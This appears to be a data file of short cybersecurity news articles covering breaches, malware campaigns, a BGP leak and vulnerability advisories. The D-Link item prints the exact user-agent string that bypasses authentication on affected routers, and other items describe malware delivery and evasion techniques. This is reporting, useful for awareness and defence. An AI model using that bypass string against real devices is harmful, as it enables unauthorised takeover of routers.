1633_30139 | The use of off-the-shelf keyloggers/RATs like Predator Pain and Limitless doesn’t impact the illicit activities of criminal crews, in many cases, crooks prefer to invest more time and effort instead of using automated malware that results anyway more expensive., “The tools these fraudsters use are not advanced. Combined, clever targeting, patience, cunning and simple keyloggers have netted these cybercriminals large sums of money,” Flores said. “These highlight that cybercrime activities are dependent not only on the sophistication of the tools used, but on how well organized the entire scheme is. A sophisticated, well-designed scam can net its operators significant sums of money, as seen here.”, The monitoring on several Predator Pain and Limitless attacks allowed the experts to track the used of these tools, in particular the findings revealed that a significant portion of operators was involved in utilizing the following:, 419 scammers are considered within more lucrative activities on a large scale that benefit of the malware to hit exclusively SMBs. SMBs are more exposed to external attacks due to the lack of an efficient security posture and dedicated IT security staff., “SMBs may not be involved in multimillion-dollar deals, but they do conduct transactions worth tens to hundreds of thousands of dollars,” the researchers noted. “As the world relies more and more on Web services (e.g., webmail), all it will take to ruin a business is a single compromised online account.”, The common attack scenario based on these malicious code sstart sending out classic phishing emails to publicly listed email addresses. The attackers attach the keylogger to the email, once the victims install it the malware silently steal user data, including system screenshots, keystrokes, browser-cached account credentials, and sends information back to the command and control servers via email, FTP, or Web panel (PHP)., “Attackers, after obtaining access to infected computers and the credentials stored in them, sit on a gold mine of information that they can use for various criminal and fraudulent activities. Successfully stealing online banking credentials can lead to financial theft. Some of the stolen information provide attackers more leverage for subsequent attacks. They can, for instance, get their hands on actual emails and use these to “hijack” ongoing transactions between their chosen victims and their clients” states the paper referring the postinfection activities., The report highlights that stolen data could be used later for further attacks against victims and could be sold in the underground to other criminal organization, personal data and sensitive information are a precious commodity in the underground., The most scaring aspect of the analysis made by researchers on the use of Predator Pain and Limitless is that criminal gangs are targeting SMBs (small and medium-sized businesses) considered vulnerable targets by the gangs that aim to realize rapid gains exploiting the lack of awareness of general IT security best practices., The “Predator Pain and Limitless When Cybercrime Turns into Cyberspying” is another excellent analysis conducted by the researchers at TrendMicro, don’t miss this report., Pierluigi Paganini, (Security Affairs – Predator Pain and Limitless keyloggers, keyloggers/RAT) |
2172_35920 | The Iranian Arabic-language state TV network Al Alam announced that its Twitter account had been hacked on Sunday., The attackers abused the account to spread a false report to post the news that an Iran-allied rebel leader in Yemen had died. The Al Alam TV aired numerous reports on the crisis in Yemen since Saudi Arabia and Arab allies started their operations against the Shi’ite Houthi movement., The alliance launched a series of air strikes this month that raised tensions between Shi’ite Muslim Iran and Sunni Saudi Arabia., The hackers tweeted via the Al Alam’s account the fake news of the death of the Houthi leader Abdel Malek al-Houthi. Other tweets sent from the account disclosed contact information for the Al Alam TV reporters working in the region., , The attackers took over also the YouTube channel of the Al Alam TV and published a video playing a song praising Saudi King Salman bin Abdulaziz with the Saudi flag as a backdrop., Al Alam TV is working to restore its social media accounts., The situation in the area is very complicated, a cyber attack against a broadcaster could undermine already unstable equilibrium., “U.S.-allied Arab governments have watched with alarm as Iran’s influence has spread in the wake of the 2003 U.S. invasion of Iraq and the rise of Iranian-backed armed groups throughout the region.” states a post published by the Reuters that announced the hack., This is last attack in order of time that targeted the Al Alam, in November 2014 the TV station was taken off the air by Arab satellite operators based in Egypt and Saudi Arabia. Last week a group linked to the ISIS hacked the French broadcaster TV5Monde disrupting its transmission and abusing of its social media accounts for propaganda., Pierluigi Paganini, (Security Affairs – Al Alam TV, Hacking) |
1580_29607 | The US-CERT/NIST is warning of the presence of a zero-day flaw that affects the Samsung FindMyMobile web service (CVE-2014-8346). The Samsung FindMyMobile implements several features that allow users to locate the lost device, to play an alert on a remote device or to lock remotely the mobile phone., “The Remote Controls feature on Samsung mobile devices does not validate the source of lock-code data received over a network, which makes it easier for remote attackers to cause a denial of service (screen locking with an arbitrary code) by triggering unexpected Find My Mobile network traffic.” states the security advisory issues by the NIST., According to the NIST the Remote Controls feature implemented by the Samsung FindMyMobile fails to validate the sender of a lock-code data received over a network, an attacker could cause a denial of service remotely (screen locking with an arbitrary code) by triggering unexpected Find My Mobile network traffic., , The NIST rated the severity of the flaw in the Samsung FindMyMobile as HIGH, but the the exploitability subscore is 10.0, that is an index of the likelihood of exploitation., Below a couple of video POCs:, , , , More info are available on the CVE Standard Vulnerability Entry for the CVE-2014-8346 flaw., Pierluigi Paganini, Security Affairs – (samsung findmymobile, CVE-2014-8346) |
6129_67198 | When you think of personal security questions, you might think of your mother’s surname or other family information that normally isn’t shared — unless you are building your family tree with an online genealogy search. When Ancestry.com notifies its users of a potential security breach it sounds worse than most., Ancestry.com is a company with millions of customers that use their online tools to research their family tree. The company also hosts servers for RootsWeb, a free, community-driven collection of genealogy tools and discussion forums. On December 20th, 2017, Troy Hunt, of HaveIBeenPwned.com, notified the Ancestry.com security team of an unsecured file on a RootsWeb server containing “email addresses/username and password combinations as well as usernames from a RootsWeb.com server”, and a quick and detailed investigation ensued., , According to Ancestry.com’s blog post detailing the incident, the security team reviewed the file identified by Hunt, and determined that it does contain login details for 300,000 accounts although they describe, “the majority of the information was old.” They continued their investigation and determined that of the 300,000 accounts, 55,000 had been reused by users on both the RootsWeb and Ancestry websites. Most of the 55,000 were “from free trial, or currently unused accounts,” but 7,000 login credentials were in use by active Ancestry.com users. Ancestry.com supports millions of users so this breach represents less than 1% of their users, however, they still took the potential impacts seriously and acted accordingly., The internal investigation points to the RootsWeb surname list information service which Ancestry.com retired earlier this year. “We believe the intrusion was limited to the RootsWeb surname list, where someone was able to create the file of older RootsWeb usernames and passwords as a direct result of how part of this open community was set up, an issue we are working to rectify”, according to the blog post by Ancestry.com CISO, Tony Blackman., He continued with, “We have no reason to believe that any Ancestry systems were compromised. Further, we have not seen any activity indicating the compromise of any individual Ancestry accounts.” According to Ancestry, the RootsWeb servers do not host any credit card or social insurance numbers so the potential impact of this breach appears to be minimized., The RootsWeb website is currently offline while the Ancestry teams complete their investigation, make the appropriate configuration changes and “ensure all data is saved and preserved to the best of their ability.”, In addition, the Ancestry has locked the 55,000 accounts found in the exposed file, requiring users to change their passwords the next time they attempt to log on. They sent emails to all 55,000 email addresses advising them of the incident and recommended actions, and commit to “working with regulators and law enforcement where appropriate.”, To summarize, the Ancestry.com security team responded quickly when notified of a potential breach, determined the potential scope and impact, took swift action to minimize damages, notified impacted users, clearly and publicly described the event. Troy Hunt’s tweet describes it best, “Another data breach from years ago, this time from @Ancestry’s services. Really impressed with the way they handled this: I got in touch with them bang on 72 hours ago and they’ve handled it in an exemplary fashion.”, Another data breach from years ago, this time from one of @Ancestry's services. Really impressed with the way they handled this: I got in touch with them bang on 72 hours ago and they've handled it in an exemplary fashion — Troy Hunt (@troyhunt) December 23, 2017, , Pierluigi Paganini, (Security Affairs – Ancestry.com, data breach) |
6750_73042 | The security breach suffered by the Bank of Montreal (BMO) may have impacted less than 50,000 of the overall 8 million customers, the incident suffered by Simplii Financial may have exposed information of 40,000 clients., “Two Canadian banks warned Monday they have been targeted by hackers, and that the personal information of tens of thousands of customers may have been stolen — something that appeared to be confirmed in a letter to the media from someone who said they were demanding a $1-million ransom from the banks.” reads the post published by CBC., “CIBC-owned Simplii Financial was the first to warn on Monday morning that hackers had accessed the personal and account information of more than 40,000 of the bank’s customers.”, Exposed data allegedly includes social insurance numbers, dates of birth, and financial information., , In both cases, hackers contacted the bank trying to blackmail them and requested a $1 million ransom from each bank to avoid data disclosure., BMO excluded the involvement of insiders, it has contacted authorities and notified the incident to potentially affected customers., “On Sunday, May 27, fraudsters contacted BMO claiming that they were in possession of certain personal and financial information for a limited number of customers. We believe they originated the attack from outside the country.” reads a press release published by BMO. , “We took steps immediately when the incident occurred and we are confident that exposures identified related to customer data have been closed off. We have notified and are working with relevant authorities as we continue to assess the situation.” , Simplii has not yet confirmed the data breach but informed customers that it’s investigating the issue and has already implemented “enhanced online fraud monitoring and online banking security measures.”, “Simplii Financial is advising clients that it has implemented additional online security measures in response to a claim received on Sunday, May 27, 2018 that fraudsters may have electronically accessed certain personal and account information for approximately 40,000 of Simplii’s clients.” states the security advisory published by the bank., “We’re taking this claim seriously and have taken action to further enhance our monitoring and security procedures,” said Michael Martin, Senior Vice-President, Simplii Financial. “We feel that it is important to inform clients so that they can also take additional steps to safeguard their information.”, The bank has reassured its customers that any economic damage will be fully reimbursed., In addition, Simplii recommends that clients:, At the time, we cannot exclude that hackers were able to obtain customer data of the two Canadian Banks in other ways, for example collecting them from other data breaches or by targeting customers with spear phishing campaign., Pierluigi Paganini, (Security Affairs – Canadian banks, data breaches) |
2487_38259 | Security researcher Benjamin Caudill has designed a device that allows to keep anonymous users online experience, an amazing system for the anonymity of whistleblowers, journalists and dissidents., Caudill named his device ProxyHam, it’s a “hardware proxy” that allows users to connect to anonymously connect to public Wi-Fi network from about 2.5 Miles away. The ProxyHam device allows the connection from a long-distance public Wi-Fi network over an unidentifiable low-frequency radio channels., Even if someone tries to identify the user behind the Proxyham he will be able to discover only the IP address of the ProxyHam box., “You can have it all the way across town, and worst case scenario the police go barge into the library across town,” Caudill said., The hearth of the Proxyham is a WiFi-enabled Raspberry Pi computer which controls three antennas. One antenna is used to connect to a source Wi-Fi network in a public place, and the remaining ones are used to transmit the Wi-Fi signal at a 900 MHz frequency., , The Proxyham uses a 900 MegaHertz radio connection and is able to operate with a range of between 1 and 2.5 Miles, depending upon environmental interferences., “We consider this the last or worst case scenario, the absolute fallback plan if everything else fails,” Benjamin Caudill, the founder of Rhino Security Labs, told Motherboard, explaining that Proxyham is a complement to traditional anonymizing tools such as Tor.”, Caudill and his colleagues are working to improve the Proxyham, they are working to reduce the dimension of the device in a way to hide it in a book and making easy to conceal. Caudill is also working on a series of new features, including a self-destruction functionality in case someone tampers the device., “If you throw this in a library it would take you years to be able to identify it,” Caudill added., “Another is a system to record and send the audio of the last few seconds before the destruction to the user. This would be a sort of digital black box that could help figure out what went wrong and who might be after the Proxyham user. ” wrote Lorenzo Franceschi-Bicchierai on Motherboard., Caudill will present ProxyHam at the next Def Con hacker conference in Las Vegas. The researcher is also planning to release the hardware specs, the source code and the blueprint of the device so that anyone can develop it., Caudill revealed that he is also planning to sell ProxyHam “at cost” for $200, “as a service to the community.”, Pierluigi Paganini, (Security Affairs –ProxyHam Box, Anonymity) |
7411_77971 | A BGP leak caused unavailability of Google service on Monday, the traffic was redirected through Russia, China, and Nigeria., At the time it is not clear if the incident was the result of an error or a cyber attack on the BGP protocol., It’s unclear if the incident was caused by a configuration issue or if it was the result of a malicious attack., Route hijacking, also known as BGP hijacking, occurs when the routing tables for groups of IP addresses are intentionally or accidentally corrupted., Recently security researchers Chris C. Demchak and Yuval Shavitt revealed that over the past years, China Telecom has been misdirecting Internet traffic through China., China Telecom is currently present in North American networks with 10 points-of-presence (PoPs) (eight in the United States and two in Canada), spanning major exchange points., The two researchers pointed out that the telco company leverages the PoPs to hijack traffic through China, it has happened several times over the past years,, “Within the BGP forwarding tables, administrators of each AS announce to their AS neighbors the IP address blocks that their AS owns, whether to be used as a destination or a convenient transit node.” states the paper., “Errors can occur given the complexity of configuring BGP, and these possible errors offer covert actors a number of hijack opportunities. If network AS1 mistakenly announces through its BGP that it owns an IP block that actually is owned by network AS2, traffic from a portion of the Internet destined for AS2 will actually be routed to – and through – AS1. If the erroneous announcement was maliciously arranged, then a BGP hijack has occurred.”, The latest BGP leaks were first reported by the network monitoring firm ThousandEyes, the traffic to Google services, including Search, G Suite, and various Google Cloud services, was directed through TransTelecom in Russia, Nigerian ISP MainOne, and China Telecom., BREAKING: Potential hijack underway. ThousandEyes detected intermittent availability issues to Google services from some locations. Traffic to certain Google destinations appears to be routed through an ISP in Russia & black-holed at a China Telecom gateway router. pic.twitter.com/Tz7shf7cOy, — ThousandEyes (@thousandeyes) November 12, 2018, , “On November 12th, 2018, between 1:00 PM and 2:23 PM PST, ThousandEyes noticed issues connecting to G Suite, a critical application for our organization. Reviewing ThousandEyes Endpoint Agent stats, we noticed this was impacting all users at the ThousandEyes office.” reads the analysis published Thousandeyes., “The outage not only affected G Suite, but also Google Search as well as Google Analytics. What caught our attention was that traffic to Google was getting dropped at China Telecom. Why would traffic from a San Francisco office traversing to Google go all the way to China? We also noticed a Russian ISP in the traffic path, which definitely sparked some concerns.”, , According to the BGP routing monitoring firm BGPmon, 212 unique Google prefixes were impacted., ThousandEyes speculate the origin of this leak was the BGP peering relationship between the Nigerian provider MainOne and China Telecom, anyway it is unclear if the BGP leaks were the result of an intentional attack or a misconfiguration at MainOne, In addition to @Google downstream networks from The Nigerian ISP AS37282 Mainone, were affected. Including for example this @Cloudflare prefix pic.twitter.com/z4Ep2lcyxQ, — BGPmon.net (@bgpmon) November 13, 2018, , This is a good visual replay of the incident, in this case for the prefix 104.196.64.0/19. Clearly visiable is the leak via AS 4809 and 37282 pic.twitter.com/nr5o6EbTQA, — BGPmon.net (@bgpmon) November 12, 2018, , .“This incident at a minimum caused a massive denial of service to G Suite and Google Search. However, this also put valuable Google traffic in the hands of ISPs in countries with a long history of Internet surveillance,” continues the analysis published by ThousandEyes., “Overall ThousandEyes detected over 180 prefixes affected by this route leak, which covers a vast scope of Google services. Our analysis indicates that the origin of this leak was the BGP peering relationship between MainOne, the Nigerian provider, and China Telecom. “, “Our analysis indicates that the origin of this leak was the BGP peering relationship between MainOne, the Nigerian provider, and China Telecom. MainOne has a peering relationship with Google via IXPN in Lagos and has direct routes to Google, which leaked into China Telecom,”., This affected 212 unique Google Prefixes. All Google prefixes that were affected can be found here: — BGPmon.net (@bgpmon) November 12, 2018, , Google confirmed that the root cause of the incident was external to the company systems and launched an internal investigation on it., “Throughout the duration of this issue Google services were operating as expected and we believe the root cause of the issue was external to Google. We will conduct an internal investigation of this issue and make appropriate improvements to our systems to help prevent or minimize future recurrence,” reads the Google Cloud Platform status page., Researchers Chris C. Demchak and Yuval Shavitt described many other BGP hijacking attacks involving China Telecom. They are pushing to adopt solutions to protect BGP, Cloudflare for example, sustains that Resource Public Key Infrastructure (RPKI) could secure BGP routing., Pierluigi Paganini, (Security Affairs – BGP leak, Google traffic hijacking) |
2965_41646 | While the investigation of the TalkTalk data breach is going on, a third man has been arrested in connection with the hack. A third unnamed suspect is a 20-year-old man from Staffordshire, he has been released on bail until March after he was arrested by law enforcement under the country’s Computer Misuse Act., Investigators believe that he is a member of the group that hacked the telco firm TalkTalk stealing 1.2 million customer details (email addresses, names, and phone numbers, dates of birth) along with nearly 28,0000 partial credit and debit cards., On October 26, the UK Metropolitan Police has announced the arrest of a 15-Year-Old in connection to the data breach. Law enforcement from the Police Service of Northern Ireland (PSNI) have identified the youngster and arrested him on suspicion of Computer Misuse Act offenses., , In a statement, the UK Metropolitan Police announced that officers from the Police Service of Northern Ireland, working with detectives from the MPCCU (MET Cyber Crime Unit) executed a search warrant at an address in County Antrim, Northern Ireland., “At the address, a 15-year-old boy was arrested on suspicion of Computer Misuse Act offences. He has been taken into custody at a County Antrim police station where he will later be interviewed. A search of the address is ongoing and enquiries continue. This is a joint investigation by MPCCU detectives, the PSNI’s Cyber Crime Centre (CCC) and the National Crime Agency,” the statement added., Some days later, on October 20, the UK Police have arrested a second individual as part of the investigation into the TalkTalk security breach, also in this case the suspect is a teenager. According to the Metropolitan Police, the second suspect is a 16-year-old boy from Feltham. The teen was arrested by the agents of the Cyber Crime Unit on suspicion of Computer Misuse Act offences and was later bailed., The Register reported that victims of the cyber attack have the faculty to leave TalkTalk and terminate the contract without problem., “Customers wanting to leave the popped telco will need to have had money stolen on or after 21 October as a result of the hack, and have contacted the fraud department.” states the The Register “TalkTalk says it is not accepting liability for other possible expenses customers may have to bear as a result of the breach.”, Stay Tuned., Pierluigi Paganini, (Security Affairs – TalkTalk, data breach) |
905_20705 | NATO is establishing its reaction units to protect its infrastructure in case of cyber attacks, the organization will set-up exactly two teams for the purpose. NATO is considered a privileged target for hackers, in 2012 it suffered 2,500 “significant cases” of cyber attacks against its networks, during the 2013 the situation has remained almost unchanged but security experts believe that the number of sophisticated offensives is likely to increase., A NATO representative explained that the two cyber-defense teams are expected to operative in a few weeks in response to significant incidents ans cyber-attacks., “Exact 2013 figures have not yet been compiled. What we can see is that the incidents recorded by NATO experts so far this year are comparable to what similar organisations have faced and generally consistent with 2012 levels,” said the NATO official., The NATO cyber experts succeeded in the mitigation of the attacks avoiding serious damage to the infrastructure, let’s remember that the organization invested nearly 58 million euro to upgrade the NATO Cyber Incident Response Centre (NCIRC)., In 2011 the NATO presented a Cyber Defence Policy that included the definition of a central structure responsible for the protection of all the structures of the alliance in case of cyber attacks. Below an abstract of the document:, , , Last year Finmeccanica and Northrop Grumman were awarded a contract by the NATO Consultation, Command and Control (NATO C3) Agency for the development of the NATO Computer Incident Response Capability (NCIRC) – Full Operating Capability (FOC)., “The contract, worth around EUR 50 million, is for an extensive managed service which will provide information assurance to around 50 NATO sites and headquarters throughout 28 countries worldwide. The NCIRC will provide the capability to detect and respond to cyber security threats and vulnerabilities rapidly and effectively. The project is intended to meet the level of ambition of NATO Head of States as set out during the Lisbon Summit in November 2010.” reported AOS website., Since 2011 important steps forward have been done, earlier 2013 NATO defence ministers approved the first step of integrating cyber defence capability targets into the defence planning process requesting allies to set up a minimum set of cyber defence capabilities and preparedness. The NATO requested to the members of the Alliance to define a national cyber policy, a national cyber authority and the creation of national cyber defence response capabilities., The NATO Cyber Incident Response Centre deployed advanced technologies including sensors, scanners and “intelligent analytic capabilities” to prevent, detect and respond to cyber threats., The effort spent for the stablishment and the support of a response center is essential for the defense of critical network belonging to the organization. In the next years according the officials we will see a meaningful increase of detection and reaction capabilities of the Alliance, we must considere that the investments are part of the emprovement project begun in 2011 when the concepts of Information warfare and state sponsored hacking were not considered like today., “This upgrade will significantly enhance NATO’s ability to protect its own networks. The NCIRC has proven to be a vital hub for dealing with cyber incidents and for disseminating cyber security information across the Alliance,” the NATO official said., We have to consider that the effor and the investment of the Alliance are a mandatory to responde a growing pressure of gangs of cyber criminals and hostile govenments., The number of cyber attacks against critical infrastructures is increasing and according many cyber security expers it is question of time before a major incident could happen., The offensives are even more sophisticated and it is necessary a joint effort to detect ongoing cyber threats and neutralize their effects, it’s my opinion that this is a first step to win the challende of the next future … protect the cyberspace., “Looking to 2014, we expect to see the operational benefits of the increased detection and response capability which we are currently achieving by upgrading the NCIRC. Our defensive efforts will focus on tuning our new system to maximum effect.” stated the NATO official., Pierluigi Paganini, (Security Affairs – NATO, cyber defense team) |
782_18645 | Today I decided to propose an interesting backdoor analysis published on the blog “/dev/ttyS0” specialized on the embedded device hacking., The researcher Craig demonstrated the presence of a backdoor within some DLink routers that allows an attacker to access the administration web interface of network devices without any authentication and view/change its settings., The author of the post found the backdoor inside the firmware v1.13 for the DIR-100 revA. Craig found and extracted the SquashFS file system loading firmware’s web server file system (/bin/webs) into IDA., , , Giving a look at the string listing, the Craig’s attention was captured by a modified version of thttpd, the thttpd-alphanetworks/2.23, implemented to provide the rights to the administrative interface for the router. The library is written by Alphanetworks, a spin-off company of D-Link, analyzing it Craig found many custom functions characterized by a name starting with suffix “alpha” including the alpha_auth_check., The function is invoked to parse http request in the phase of authentication., “We can see that alpha_auth_check is passed one argument (whatever is stored in register $s2); if alpha_auth_check returns -1 (0xFFFFFFFF), the code jumps to the end of alpha_httpd_parse_request, otherwise it continues processing the request.”, Analyzing the parameters passed to the function the researcher was able to reconstruct the authentication flow, the function parses the requested URL and check if it contains the strings “graphic/” or “public/”. “graphic/” or “public/” are sub-directories under the device’s web directory, if the requested URL contains one of them the request is passed without authentication., Another intriguing detail has been found by Craig, the above function ends with a comparison with the specific string “xmlset_roodkcableoj28840ybtide”., , , If the code “xmlset_roodkcableoj28840ybtide” is part of the http_request_t structure the check_login function call is skipped and alpha_auth_check returns 1, meaning that the authentication is OK., Craig decided to search the code “xmlset_roodkcableoj28840ybtide” on Google and discovered traces of it only in one Russian forum post from a few years ago. Going deep in its analysis Craig was able to piece together the body of the alpha_auth_check:, Resuming the reverse engineering for the D-Link Backdoor, if attacker browser user agent string is xmlset_roodkcableoj28840ybtide, he can access the web interface of the D-Link device bypassing authentication procedure and view/change the device settings., Try to read the string xmlset_roodkcableoj28840ybtide backwards …. it appears as “Edit by 04882 joel backdoor“, very cool., , , , Craig extended the results of its discovery to many other D-Link devices affected by the same backdoor, the author searched for the code present in the HTML pages on the entire Internet with the Shodan. He searched for the word “thttpd-alphanetworks/2.23”, the modified version of thttpd, retrieving following search results:, , after a series of test Craig concluded that the following D-Link devices are likely affected:, The researcher discovered also that Planex routers, based on the same firmware, are affected by the flaw., Very intriguing … What do you think about?, Pierluigi Paganini, (Security Affairs – D-Link, backdoor) |
5040_57565 | Attackers have targeted developers having Github repositories with a data-stealing malware called Dimnie. The malicious code includes keylogging features and modules that capture screenshots., The Dimnie malware was spotted by researchers at Palo Alto Networks in mid-January when an unknown number of developers were targeted with emails purporting to be job offers. The malicious messages used weaponized .doc files containing an embedded malicious macro that executed a PowerShell command that would start the attack by downloading and executing the malicious code., The Dimnie data stealer has been in circulation since 2014 targeting primarily Russian-speaking targets. The researchers have no idea how widespread the malware based campaign was, the motivation for the attack is also a mystery. Probably the attackers were searching something of interest among the huge number of projects hosted on the platform., “Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities.” reads the analysis published by Palo Alto Networks. “Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.” , Experts believe that the attack was carried out by a “relatively unknown threat” outside of the Russian-speaking world., Dimnie disguised the HTTP requests to the command and control server structure in a GET request to a defunct Google service called Google PageRank. The researchers discovered an IP address in a DNS lookup request preceding the GET request was that the real destination IP for the follow-up HTTP request., “Sending the request to an entirely different server is not complicated to achieve, but how many analysts would simply see a DNS request with no related subsequent traffic? That is precisely what Dimnie is relying upon to evade detections,”, The attackers used a similar technique to exfiltrate data, the request, in fact, is disguised in a POST request to Google., “Data exfiltration by the associated modules is performed using HTTP POST requests to another Google domain, gmail.com. However, just like the module downloader portion of the malware, these HTTP requests are hardcoded to be sent to an attacker controlled server. Again, Dimnie attempts to blend in by looking at least somewhat legitimate, although the data exfiltration traffic is far less convincing than that of the module downloads.” continues the analysis., Dimnie belongs to the category of fileless malware, the researchers discovered nine modules were discovered, including some that extract system data enumerate running processes, keyloggers, screenshots and a self-destruct module that deletes all files on the local drive., , The command and control infrastructure used in the attacks is still active and according to the experts, Dimnie continues to be used against Russian-speaking targets., “Multiple factors have contributed to Dimnie’s relatively long-lived existence. By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders’ assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.”, Pierluigi Paganini, (Security Affairs – Dimnie malware, GitHub), , |
6056_66544 | “On December 5, 2017 NIST published the second draft of the proposed update to the Framework for Improving Critical Infrastructure Cybersecurity (a.k.a., draft 2 of Cybersecurity Framework version 1.1).” states the NIST.
“This second draft update aims to clarify, refine, and enhance the Cybersecurity Framework, amplifying its value and making it easier to use. The new draft reflects comments received to date, including those from a public review process launched in January 2017 and a workshop in May 2017.”, The NIST Cybersecurity Framework was first released in 2014, it aims to help organizations, particularly ones in the critical infrastructure sector, in managing cybersecurity risks., , At the time, the NIST published the Framework for Improving Critical Infrastructure Security, a document that proposed cybersecurity standards and practices to build out a security program., Today the NIST Cybersecurity Framework is considered a best practice guide implemented by numerous organizations and business., The Cybersecurity Framework was developed based on an executive order issued by former U.S. President Barack Obama and current Trump’s administration also considers the Framework a set of best practices to be implemented by government agencies and critical infrastructure operators., A cybersecurity executive order issued by the current administration of Donald Trump also requires federal agencies and critical infrastructure operators to use the framework., After four years since its first release, NIST is now working on an updated version. A first draft of the NIST Cybersecurity Framework was released in January and now the second draft is available since December 5., Like previous Version 1.0 issued in February 2014, this second draft is the result of extensive consultation with the private and public sectors., The changes are based on 120 comments submitted in response to the first draft and discussions between 500 individuals who attended a workshop back in May., According to the summary the update:, The second draft was released along with an updated roadmap that details plans for advancing the framework’s development process., Every comment on the second draft of the NIST Cybersecurity Framework can be sent to cyberframework(at)nist.gov until January 19, 2018., The NIST plans to release the final V1.1 within this fall, likely in “early calendar year 2018.”, The organization aims to check if the revisions in version 1.1 reflect the changes in the current cybersecurity landscape. It is also important to evaluate the impact of the updated version on organizations currently implementing the version 1.0 of the framework., Pierluigi Paganini, (Security Affairs – NIST, critical infrastructure) |
3813_47855 | Many security experts believe that medical industry lack of a proper security posture, despite it is a high-tech sector the vast majority of medical equipment was not designed with a security by design approach. Another element to consider is that the healthcare industry is becoming a privileged target for cyber criminals, we are assisting to an escalation of the incidents that are involving medical infrastructure., Now the US Computer Emergency Response Team (US-CERT) has issued a warning after the discovery of a major issue (CVE-2016-4328) in one of the most popular medical application, the MEDHOST., The medical application is used for acquiring patient data and experts discovered hardcoded admin credential in its code., “MEDHOST PIMS, previously branded as VPIMS, contains hard-coded credentials that are used for customer database access. An attacker with knowledge of the hard-coded credentials and the ability to communicate directly with the application database server may be able to obtain or modify sensitive patient information.” reads the alert issued by the US-CERT., , The MEDHOST application is a widely adopted application used in the health care industry to manage patient data in the perioperative three stages of surgery., It allows tracking patients and related conditions in the surgical process that allows remote management, it has been estimated that more than 1,000 health care facilities use several solutions designed by the same vendor., Once the attacker gets the hardcoded admin credential, he could access any data present in the MEDHOST application, and he could do it if the remote login is not properly monitored., In order to mitigate the security problem, the US-CERT suggests to apply the upgrade issued by the vendor and in any case restrict network access., “As a general good security practice, only allow connections from trusted hosts and networks. Restricting access would prevent an attacker from using the hard-coded credentials from a blocked network location.” continues the US-CERT, In the specific case the patch management process worked very efficiently, the vendor issued the patch for the MEDHOST PIMS just a month after the disclosure of the vulnerability that occurred in March., If you appreciate my effort in spreading cyber security awareness, please vote for Security Affairs as best European Security Blog. Vote SecurityAffairs in every section it is reported. I’m one of the finalists and I want to demonstrate that the Security Affairs community a great reality., Thank you, Pierluigi, Pierluigi Paganini, (Security Affairs – MEDHOST, hacking) |
6368_69457 | Other precious commodities in the criminal underground are code-signing certificates, they allow vxers to sign the code for malware to evade detection. Operators of the major black markets in the darknets buy and sell code-signing certificates, but according to an interesting research conducted by threat intelligence firm Recorded Future, the prices for them are too expensive for most hackers., Cybercriminals would use the Dark Web for selling high-grade code certificates -which they have obtained from trusted certificate authorities- to anyone that is interested in purchasing them., Sales of code signing certificates have increased considerably since 2015 when experts from IBM X-Force researchers provided some best practice guides on checking for trusted certificates., Digital certificates allow companies to trust the source code of a software and to check its integrity, The certificates are issued by the certificate authorities (CAs) and are granted to companies that generate code, protocols or software so they can sign their code and indicate its legitimacy and originality., Using signing certificates is similar to the hologram seal used on software packages, assuring they are genuine and issued from a trusted publisher. Users would receive alerts in an attempt to install files that are not accompanied by a valid certificate. This is why cybercriminals aim to use certificates for legitimizing the malware code they make., According to Andrei Barysevich, Director of Advanced Collection at Recorded Future, most of the code-signing certificates are obtained by hackers due to fraud and not from security breaches suffered by the CAs., “Recorded Future’s Insikt Group investigated the criminal underground and identified vendors currently offering both code signing certificates and domain name registration with accompanying SSL certificates.” states the report published by Recorded Future., “Contrary to a common belief that the security certificates circulating in the criminal underground are stolen from legitimate owners prior to being used in nefarious campaigns, we confirmed with a high degree of certainty that the certificates are created for a specific buyer per request only and are registered using stolen corporate identities, making traditional network security appliances less effective.”, Cybercriminals offer the precious commodity via online shops, when buyers place an order the shop’s operators used stolen identities from a legitimate company and its employees to request the certificate for a fake app or website to the CAs (i.e. Comodo, Thawte, and Symantec). The certificates are used to encrypt HTTPS traffic or sign apps., Recorded Future’s Insikt Group investigated the criminal ecosystem and identified vendors currently offering both code signing certificates and domain name registration with accompanying SSL certificates., The researchers identified four well-known vendors operating since 2011, only two vendors are currently still active in Russian-speaking crime forums., “One of the first vendors to offer counterfeit code signing certificates was known as C@T, a member of a prolific hacking messaging board.” continues the report. “In March 2015, C@T offered for sale a Microsoft Authenticode capable of signing 32/64b versions of various executable files, as well as Microsoft Office, Microsoft VBA, Netscape Object Signing, and Marimba Channel Signing documents, and supported Silverlight 4 applications. Additionally, Apple code signing certificates were also available.”, , Prices for code-signing certificates range from $299 to $1,799, most expensive items are the fully authenticated domains with EV SSL encryption and code signing capabilities., “Standard code signing certificates issued by Comodo that do not include SmartScreen reputation rating cost $295. A buyer interested in the most trusted version of an EV certificate issued by Symantec would have to pay $1,599, a 230 percent premium compared to the price of the authentic certificate.” continues the report., “For those seeking to purchase in bulk, fully authenticated domains with EV SSL encryption and code signing capabilities could also be arranged for $1,799”, , , According to recorded future, code signing certificates are not widespread among malware developers due to the high price., Vxers prefer to pay less for other AV evasion tools, such as crypters (readily available at $10-$30)that represent an excellent compromise between cost and effectiveness, “Unlike ordinary crypting services readily available at $10-$30 per each encryption, we do not anticipate counterfeit certificates to become a mainstream staple of cybercrime due to its prohibitive cost.” concluded the report. “However, undoubtedly, more sophisticated actors and nation-state actors who are engaged in less widespread and more targeted attacks will continue using fake code signing and SSL certificates in their operations”, Pierluigi Paganini, (Security Affairs – code signing certificates, cybercrime) |
